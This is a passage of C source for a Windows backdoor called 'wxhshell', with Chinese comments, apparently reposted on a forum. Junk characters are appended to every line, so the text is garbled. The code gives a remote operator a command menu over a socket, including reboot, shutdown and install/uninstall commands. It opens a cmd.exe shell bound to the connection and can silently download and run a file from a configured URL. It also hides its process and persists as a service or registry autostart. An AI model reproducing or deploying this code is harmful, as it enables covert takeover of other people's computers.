  else { pT Yq#9  
RFF&-M]  
    switch(cmd[0]) { BNU]NcA#*,  
  cJ9:XWW  
  // 帮助 O[+![[N2  
  case '?': { J/(3: a>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )@DT^#zR  
    break; C~o6]'+F_  
  } lhZWL}l  
  // 安装 P;jl!o$  
  case 'i': { mo%9UL,#W  
    if(Install()) Zw(*q?9\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s=`1wkh0  
    else }9T$XF~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'c!82;,?  
    break; ]p3hq1u3&  
    } U85t !U  
  // 卸载 NJ8QI(^"  
  case 'r': { >T3HkOT  
    if(Uninstall()) zRyZrt,%&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yC. ve;lG  
    else B.2F\ub g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :32  
    break; M ,.++W\  
    } 9:0JWW^so  
  // 显示 wxhshell 所在路径 yO Cv-zm  
  case 'p': { `X?l`H;#  
    char svExeFile[MAX_PATH]; %XGwQB$zk8  
    strcpy(svExeFile,"\n\r"); 42:~oKiQ$"  
      strcat(svExeFile,ExeFile); k,0RpE  
        send(wsh,svExeFile,strlen(svExeFile),0); fd >t9.  
    break; Zab5"JR  
    } Ikiv+Fq(  
  // 重启 =!3G,qV  
  case 'b': { -05zcIVo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z[8{V  
    if(Boot(REBOOT)) u->UV:u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +) 2c\1  
    else { A S;ra,x  
    closesocket(wsh); Q1V4bmM  
    ExitThread(0); :,<e  
    } YBQO]3f  
    break; |x3&#(Tf  
    } N3E Qq~lX  
  // 关机 MO)N0{.b  
  case 'd': { o?uTL>Zin  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :pQZ)bF  
    if(Boot(SHUTDOWN)) DV +DJcF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OIB~ W  
    else { EOhUr=5~  
    closesocket(wsh); }S'+Ytea  
    ExitThread(0); 5o\yhYS:  
    } Mvoi   
    break; `9b/Q  
    } ;<0Q<0G  
  // 获取shell 5T}$+R0&  
  case 's': { J!%Yy\G  
    CmdShell(wsh); 1R9hA7y&,/  
    closesocket(wsh); ]qL#/   
    ExitThread(0); yNdtq\h  
    break; 2-nL2f!a{p  
  } E,E:WuB  
  // 退出 F>&Q5Kl R  
  case 'x': { > taT;[Oa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ":?>6'*1  
    CloseIt(wsh); 95^w" [}4Q  
    break; ],R rk]1  
    } Lhu2;F\/  
  // 离开 1eI >Yy>}  
  case 'q': { |{cdXbr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^#e:q  
    closesocket(wsh); My'M ~#kO,  
    WSACleanup(); 9 a2Ga   
    exit(1); zAt!jP0E  
    break; j,eeQ KH  
        } p #'BV'0bl  
  } wlBdA  
  } ;Avd$&::  
uF9p:FvN8  
  // 提示信息 EaFd1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kx3H}od]  
} "Q'#V!  
  } ,XCC#F(d1  
7J./SBhB  
  return; LslQZ]3MY  
} V=k!&xN~  
IV_u f  
// shell模块句柄 `rW{zQYM  
int CmdShell(SOCKET sock) kmNY ;b6Y$  
{ |~hSK  
STARTUPINFO si; l@4hBq  
ZeroMemory(&si,sizeof(si)); EonZvT-D=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TbU\qcm]]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @)m[: n  
PROCESS_INFORMATION ProcessInfo; !tv3.:eT  
char cmdline[]="cmd"; 6Z ~>d;&9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); COc1np  
  return 0; W!.UMmw`  
} Wt()DG|[  
,W5pe#n  
// 自身启动模式 G{}E~jDi?  
int StartFromService(void) NwD*EuPF:  
{ N+\#k*n?  
typedef struct 7xB#)o53  
{ `r'q(M  
  DWORD ExitStatus; =t<!W  
  DWORD PebBaseAddress; }lML..((1  
  DWORD AffinityMask; f'TjR#w  
  DWORD BasePriority; j\q1b:pE  
  ULONG UniqueProcessId; )NRY9\H  
  ULONG InheritedFromUniqueProcessId; X}0NeG^'O  
}   PROCESS_BASIC_INFORMATION; s2_j@k?%  
(<s7X$(]e  
PROCNTQSIP NtQueryInformationProcess; p*_g0_^  
*'`ByS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vm_y,;/(-R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fW!~*Q  
(k6=o';y  
  HANDLE             hProcess; UY*Hc  
  PROCESS_BASIC_INFORMATION pbi; dwv xV$Nt  
ml.l( 6A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U|g4t=@ZR  
  if(NULL == hInst ) return 0; k)Z?  
J*U,kyYF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "'94E,W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v+znKpE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zOLt)2-<  
 3Fo,F  
  if (!NtQueryInformationProcess) return 0; G'MYTq  
?'P8H^K6u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xE;4#+_I  
  if(!hProcess) return 0; D@^ r  
{Mp>+e@xx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =+T{!+|6P  
-9}]J\  
  CloseHandle(hProcess); ~ bL(mq  
Ec8Y}C,{7<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ayc}uuu  
if(hProcess==NULL) return 0; :(} {uG  
m=z-}T5y!T  
HMODULE hMod; Ik>sd@X*|  
char procName[255]; _:+W0YS  
unsigned long cbNeeded; J^hj R%H  
S-gL]r3G8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?#ndMv!$  
ZL#4X*zT  
  CloseHandle(hProcess); \s`'3y  
G2ZF`WQ  
if(strstr(procName,"services")) return 1; // 以服务启动 Dgj`_yd  
Y gQ_P4B;  
  return 0; // 注册表启动 } !pC}m  
} $7jJV(B  
\|@]XNSN  
// 主模块 L'J$jB5cP  
int StartWxhshell(LPSTR lpCmdLine) mJc'oG-  
{  P%xk   
  SOCKET wsl; @Q !f^  
BOOL val=TRUE; MkC25  
  int port=0; (nbqL+  
  struct sockaddr_in door; p W:[Q\rSj  
Q pz01x  
  if(wscfg.ws_autoins) Install(); 8~ .r/!wfy  
>sm< < gVb  
port=atoi(lpCmdLine); &w*.S@  ;  
]Q-ON&/  
if(port<=0) port=wscfg.ws_port; B*zb0hdo:  
&1F)/$,v  
  WSADATA data; _{_LTy%[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nFzhj%Pt;  
Up`$U~%-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @+syD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g`y >)N/  
  door.sin_family = AF_INET; }LM^>M%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KAjKv_6=g  
  door.sin_port = htons(port); R7KHfXy'm  
tU!"CX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i'L7t!f}o  
closesocket(wsl); pHsp]a  
return 1; %~4R)bsJ'  
} wDem }uO  
2xni! *T+  
  if(listen(wsl,2) == INVALID_SOCKET) { IA&((\YC  
closesocket(wsl); }{ pNasAU  
return 1; A*n'"+_  
} A_{QY&%m  
  Wxhshell(wsl); b?CmKiM%  
  WSACleanup(); W+H 27qsv  
yT-m9$^v  
return 0; r@e_cD] M  
G( nT.\  
} |w>"oaLN|Q  
HOsq _)K  
// 以NT服务方式启动 {3$ge  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ORv[Gkq_N)  
{ .J%}ROm  
DWORD   status = 0; 4eU};Pv  
  DWORD   specificError = 0xfffffff; '@AK0No\W  
 3iV/7~ O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W7l/{a @  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _t:rWC"X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^gw_Up<e6  
  serviceStatus.dwWin32ExitCode     = 0; [LL"86D  
  serviceStatus.dwServiceSpecificExitCode = 0; zO9$fU  
  serviceStatus.dwCheckPoint       = 0; M_T$\z;,  
  serviceStatus.dwWaitHint       = 0; d7It}7@9  
fhLdM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gEO#-tMjOQ  
  if (hServiceStatusHandle==0) return; VMad ]bEf  
)!|K3%9  
status = GetLastError(); mf,mKgfG  
  if (status!=NO_ERROR) X~P0Q  
{ [k@D}p x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w{F8]N>0<  
    serviceStatus.dwCheckPoint       = 0; cGsP0LkHC  
    serviceStatus.dwWaitHint       = 0; {h&*H[Z z  
    serviceStatus.dwWin32ExitCode     = status; yIXM}i:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^(N+s?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "0`r]5 5d  
    return; wx}\0(]Gl  
  } k:m~'r8z  
k#JFDw\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S?OK@UEJ  
  serviceStatus.dwCheckPoint       = 0; s]5wzbFO  
  serviceStatus.dwWaitHint       = 0; @K4} cP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J0d +q!  
} ,BW ^j.7  
7xwS  .|  
// 处理NT服务事件,比如:启动、停止 '}P)iS2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <H}"xp)j0  
{ nl*{@R.q @  
switch(fdwControl) #n{wK+lz  
{ H#m)`=nZSZ  
case SERVICE_CONTROL_STOP: x2Y1B  
  serviceStatus.dwWin32ExitCode = 0; H<}<f:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T oy~\  
  serviceStatus.dwCheckPoint   = 0; :n0(gB  
  serviceStatus.dwWaitHint     = 0;  O7s0M?4  
  { "LaNXZ9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v^[tK2&v  
  } .{5)$w>  
  return; wCMsaW  
case SERVICE_CONTROL_PAUSE: Z)P x6\?+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L(`^T`  
  break; I y8gQdI  
case SERVICE_CONTROL_CONTINUE: K?-K<3]9f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 45/f}kvy  
  break; O5Yk=-_m  
case SERVICE_CONTROL_INTERROGATE: `r_qvrC  
  break; iBN,YPo~  
}; 9^v|~f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Z &qOQg%3  
} =bN[TD  
zi-zg Lx  
// 标准应用程序主函数 P:(,l,}F8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s3g$F23  
{ M`BD]{tN}  
fR6ot#b  
// 获取操作系统版本 :Q+ rEjw+  
OsIsNt=GetOsVer(); 9VV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H$(%FWzQ%  
"}7K>|a  
  // 从命令行安装 (z ;=3S  
  if(strpbrk(lpCmdLine,"iI")) Install(); <g>_#fz"K  
2?Q IK3"v  
  // 下载执行文件 # Sb1oLC  
if(wscfg.ws_downexe) { v}xz`]MW<,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7<IrN\@U  
  WinExec(wscfg.ws_filenam,SW_HIDE); bxkp9o  
} }`5%2iG  
fAUtqkB  
if(!OsIsNt) { "uTzmm$  
// 如果时win9x,隐藏进程并且设置为注册表启动 &:akom8  
HideProc(); 0e q>  
StartWxhshell(lpCmdLine); 9S=9m[#y'  
} \{{B57/Isq  
else o6xl,T%  
  if(StartFromService()) E|6X.Ny]   
  // 以服务方式启动 fU>"d>6!S  
  StartServiceCtrlDispatcher(DispatchTable); U g]6i+rp  
else d";+8S  
  // 普通方式启动 e`k 2g ^  
  StartWxhshell(lpCmdLine); YXrTm[P  
0x[vB5R  
return 0; ;o%r{:lng  
}
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只看该作者 1 发表于: 2006-10-10
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